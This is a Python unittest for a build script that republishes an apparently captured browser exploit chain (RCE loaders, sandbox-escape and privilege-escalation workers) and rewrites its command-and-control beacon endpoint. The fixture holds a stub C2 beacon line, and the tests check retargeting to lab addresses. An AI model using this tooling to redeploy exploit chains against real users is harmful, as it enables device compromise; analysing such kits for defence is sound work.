#!/usr/bin/env python3 from __future__ import annotations import shutil import sys import tempfile import unittest from pathlib import Path TOOLS = Path(__file__).resolve().parents[1] if str(TOOLS) not in sys.path: sys.path.insert(0, str(TOOLS)) import build # noqa: E402 class BuildTest(unittest.TestCase): def setUp(self) -> None: self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-")) self.source = self.tmp / "source" self.dest = self.tmp / "next-chain" self.source.mkdir(parents=True) (self.source / "keep.txt").write_text("untouched\n", encoding="utf-8") (self.source / "pe_worker.js").write_text( 'const C2 = "https://nuhn93.cc:443/beacon";\n' 'function p7(){ return { host: "nuhn93.cc", port: 443 }; }\n', encoding="utf-8", ) (self.source / "log.html").write_text("static log\n", encoding="utf-8") def tearDown(self) -> None: shutil.rmtree(self.tmp, ignore_errors=True) def test_rewrites_c2_and_publishes(self) -> None: before = (self.source / "pe_worker.js").read_text(encoding="utf-8") result = build.build(self.source, self.dest, "http://192.168.31.130:8000") self.assertEqual((self.source / "pe_worker.js").read_text(encoding="utf-8"), before) self.assertEqual(result["c2"], "http://192.168.31.130:8000") self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n") worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8") self.assertIn("http://192.168.31.130:8000/beacon", worker) self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker) self.assertFalse((self.dest / "log.html").exists()) def test_https_c2(self) -> None: build.build(self.source, self.dest, "https://c2.example.com") worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8") self.assertIn("https://c2.example.com/beacon", worker) self.assertIn('{ host: "c2.example.com", port: 443 }', worker) def test_parse_endpoint(self) -> None: ep = build.parse_endpoint("https://lab.example:8443", label="--c2") self.assertEqual(ep.host, "lab.example") self.assertEqual(ep.port, 8443) self.assertEqual(ep.origin, "https://lab.example:8443") self.assertEqual(ep.url, "https://lab.example:8443") def test_source_files_match_external(self) -> None: """All 11 source files must come from globals-game.com/a18/ (external).""" root = TOOLS.parent / "source" expected = [ "frame.html", "pe_worker.js", "rce_loader.js", "rce_module.js", "rce_module_18.6.js", "rce_module_18.7.js", "rce_worker_18.4.js", "rce_worker_18.6.js", "rce_worker_18.7.js", "sbx0_main_18.4.js", "sbx1_main.js", ] for fname in expected: self.assertTrue((root / fname).is_file(), f"missing {fname}") def test_workers_have_addIframe_prefetch(self) -> None: """All worker/PE/SBX files must NOT have the redundant _addIframe() prefetch block.""" root = TOOLS.parent / "source" for fname in ("rce_worker_18.4.js", "rce_worker_18.6.js", "rce_worker_18.7.js", "pe_worker.js", "sbx0_main_18.4.js", "sbx1_main.js"): text = (root / fname).read_text(encoding="utf-8") self.assertNotIn("_addIframe", text, f"{fname} must not have _addIframe prefetch") self.assertNotIn("group.html", text, f"{fname} must not reference group.html") def test_rce_loader_has_pickLiveBand(self) -> None: """rce_loader.js must have pickLiveBand (external version, not our old logic).""" root = TOOLS.parent / "source" loader = (root / "rce_loader.js").read_text(encoding="utf-8") self.assertIn("pickLiveBand", loader) self.assertIn("location.origin", loader) if __name__ == "__main__": unittest.main()